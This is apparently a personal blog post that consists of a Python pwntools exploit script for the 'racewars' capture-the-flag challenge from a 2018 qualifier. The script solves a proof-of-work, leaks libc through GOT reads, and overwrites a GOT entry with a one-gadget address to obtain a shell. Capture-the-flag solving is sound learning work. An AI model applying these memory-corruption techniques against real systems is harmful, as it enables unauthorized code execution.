튜기's bloggggg(st1tch)




from pwn import *
#import stitch

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
pad64 = 0xffffffffffffffff
pad32 = 0xffffffff
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)
conv = lambda n : hex(n & int('f'*16, 16))

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n): 
    candidate = 0 
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

def snd(pay):
    s.sendline(str(pay))
    sleep(0.3)

def fuck(target):
    target = p64(target)
    target = [target[i:i+2] for i in range(0, len(target), 2)]
    
    for i, order in enumerate([0, 1, 3, 2]): 
        snd(1)
        snd(i+1)
        snd(int(target[order][::-1].encode('hex'), 16))

def fuck2():
    p = log.progress('start...')
    res = ''
    for idx in range(24, 24+8):
        snd(4)
        snd(idx)
        snd(0)
        snd(0)
        tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
        res = hex(eval(tmp))[2:].rjust(2, '0')+ res
        p.status('1 '+res)

    gear = int(res, 16) - 16
    log.info(hex(gear))
    res = ''
    dist = elf.got['setvbuf'] - gear
    sleep(1)
    s.clean()
    for idx in range(dist, dist+8):
        snd(4)
        snd(idx)
        snd(0)
        snd(0)
        tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
        res = hex(eval(tmp))[2:].rjust(2, '0')  + res
        p.status('2 '+res)

    libc.address = int(res, 16)-libc.symbols['setvbuf']
    log.info(hex(libc.address))

    target = p64(libc.address+oneshot)
    sleep(1)
    s.clean()

    dist = elf.got['exit'] - gear
    idx=0
    for offset in range(dist, dist+8):
        snd(4)
        snd(offset)
        snd(int(target[idx].encode('hex'), 16))
        snd(1)
        idx += 1
        p.status('3 '+str(idx)+' overwrite')

    p.success()

def solver() :
    #tire
    snd(1)
    snd((2<<31)>>5)
    #transmission
    snd(4)
    snd(1)
    #chassis
    snd(2)
    snd(1)
    #engine
    snd(3)

    #overwrite size
    fuck(int('f'*16, 16))
    s.clean()
    #libcleak
    fuck2()
    s.clean()

    snd(5)
    snd(1)
    snd(0)

    s.interactive()

if __name__ == '__main__' :
    prob = 'racewars'
    if len(sys.argv) == 1:
        s = process(prob)
        pid = util.proc.pidof(s)[0]
        p_base = [s.libs()[d] for d in s.libs() if prob in d][0]
        l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
        log.info('pid = {}'.format(pid))
        log.info('proc_base = {}'.format(hex(p_base)))
        log.info('libc_base = {}'.format(hex(l_base)))
        libc = ELF(s.libs().keys()[0])
        oneshot = 0x4f322
        debug=False
        if debug:
            context.terminal = ['tmux', 'splitw', '-h']
            execute = '''
            b *{}
            c
            '''.format(p_base)
            gdb.attach(pid, execute)
        else:   #source gd
            open('gd', 'w').write('''
            d
            d display
            b*0x4015C4
            attach {}
            c
            '''.format(pid))

    else :
        s = remote("2f76febe.quals2018.oooverflow.io", 31337)
        libc = ELF('libc-2.23.so')
        oneshot = 0xf02a4

	chal, _, n = s.recvuntil('Solution').split()[3:6]
	print chal, n
	res = solve_pow(chal, int(n))
	s.sendline(str(res))

    elf = ELF(prob)
    pause()
    solver()



Comment +0